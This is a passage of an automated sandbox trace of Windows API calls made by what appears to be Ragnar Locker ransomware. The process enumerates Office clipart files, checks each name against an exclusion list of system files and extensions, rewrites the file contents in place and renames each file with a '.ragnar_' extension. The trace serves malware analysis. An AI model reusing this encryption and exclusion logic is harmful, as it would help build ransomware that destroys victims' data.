returned 0x580000 [0082.262] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.262] CloseHandle (hObject=0xf4) returned 1 [0082.262] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" [0082.262] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.ragnar_FD7BD9FC" [0082.262] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.262] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0082.262] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.262] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD01074_.WMF" | out: lpString1="FD01074_.WMF") returned="FD01074_.WMF" [0082.262] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned=".WMF" [0082.262] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.262] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="autorun.inf") returned 1 [0082.262] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="boot.ini") returned 1 [0082.262] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="bootfont.bin") returned 1 [0082.262] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="bootsect.bak") returned 1 [0082.262] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="bootmgr") returned 1 [0082.262] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="bootmgr.efi") returned 1 [0082.263] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.263] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="desktop.ini") returned 1 [0082.263] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="iconcache.db") returned -1 [0082.263] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="ntldr") returned -1 [0082.263] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="ntuser.dat") returned -1 [0082.263] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.263] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="ntuser.ini") returned -1 [0082.263] lstrcmpiW (lpString1="FD01074_.WMF", lpString2="thumbs.db") returned -1 [0082.263] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.263] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.263] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.263] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.263] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.263] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.263] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x20 [0082.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.263] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4634) returned 1 [0082.263] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1211, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.263] GetProcessHeap () returned 0x580000 [0082.263] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.263] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.265] VirtualAlloc (lpAddress=0x0, dwSize=0x121a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.265] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.265] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.265] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x121a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x121a, lpOverlapped=0x0) returned 1 [0082.266] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.266] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x121a, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.266] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x121a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x121a, lpOverlapped=0x0) returned 1 [0082.266] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x121a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.266] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.266] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x121a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.266] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.266] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.267] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.267] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.267] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.267] GetProcessHeap () returned 0x580000 [0082.267] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.267] CloseHandle (hObject=0xf4) returned 1 [0082.267] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" [0082.267] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.ragnar_FD7BD9FC" [0082.267] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.268] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0082.268] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.268] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD01084_.WMF" | out: lpString1="FD01084_.WMF") returned="FD01084_.WMF" [0082.268] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned=".WMF" [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="autorun.inf") returned 1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="boot.ini") returned 1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="bootfont.bin") returned 1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="bootsect.bak") returned 1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="bootmgr") returned 1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="bootmgr.efi") returned 1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="desktop.ini") returned 1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="iconcache.db") returned -1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="ntldr") returned -1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="ntuser.dat") returned -1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="ntuser.ini") returned -1 [0082.268] lstrcmpiW (lpString1="FD01084_.WMF", lpString2="thumbs.db") returned -1 [0082.268] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.268] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.268] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.268] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.268] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.268] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.268] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20 [0082.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.269] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2412) returned 1 [0082.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x963, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.269] GetProcessHeap () returned 0x580000 [0082.269] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.269] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.270] VirtualAlloc (lpAddress=0x0, dwSize=0x96c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.270] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.270] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.270] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x96c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x96c, lpOverlapped=0x0) returned 1 [0082.271] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.271] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x96c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.271] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x96c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x96c, lpOverlapped=0x0) returned 1 [0082.271] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x96c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.271] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.271] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x96c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.271] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.271] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.271] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.271] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.271] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.271] GetProcessHeap () returned 0x580000 [0082.271] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.271] CloseHandle (hObject=0xf4) returned 1 [0082.272] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" [0082.272] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.ragnar_FD7BD9FC" [0082.272] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.272] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0082.272] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.272] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD01176_.WMF" | out: lpString1="FD01176_.WMF") returned="FD01176_.WMF" [0082.272] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned=".WMF" [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="autorun.inf") returned 1 [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="boot.ini") returned 1 [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="bootfont.bin") returned 1 [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="bootsect.bak") returned 1 [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="bootmgr") returned 1 [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="bootmgr.efi") returned 1 [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="desktop.ini") returned 1 [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="iconcache.db") returned -1 [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="ntldr") returned -1 [0082.272] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="ntuser.dat") returned -1 [0082.273] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.273] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="ntuser.ini") returned -1 [0082.273] lstrcmpiW (lpString1="FD01176_.WMF", lpString2="thumbs.db") returned -1 [0082.273] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.273] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.273] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.273] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.273] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.273] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.273] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20 [0082.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.273] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4984) returned 1 [0082.273] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x136f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.273] GetProcessHeap () returned 0x580000 [0082.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.273] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.275] VirtualAlloc (lpAddress=0x0, dwSize=0x1378, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.275] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1378, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1378, lpOverlapped=0x0) returned 1 [0082.276] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.276] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1378, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.276] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1378, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1378, lpOverlapped=0x0) returned 1 [0082.276] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1378, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.276] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.276] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1378, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.276] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.276] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.276] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.276] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.276] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.277] GetProcessHeap () returned 0x580000 [0082.277] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.277] CloseHandle (hObject=0xf4) returned 1 [0082.277] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" [0082.277] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft 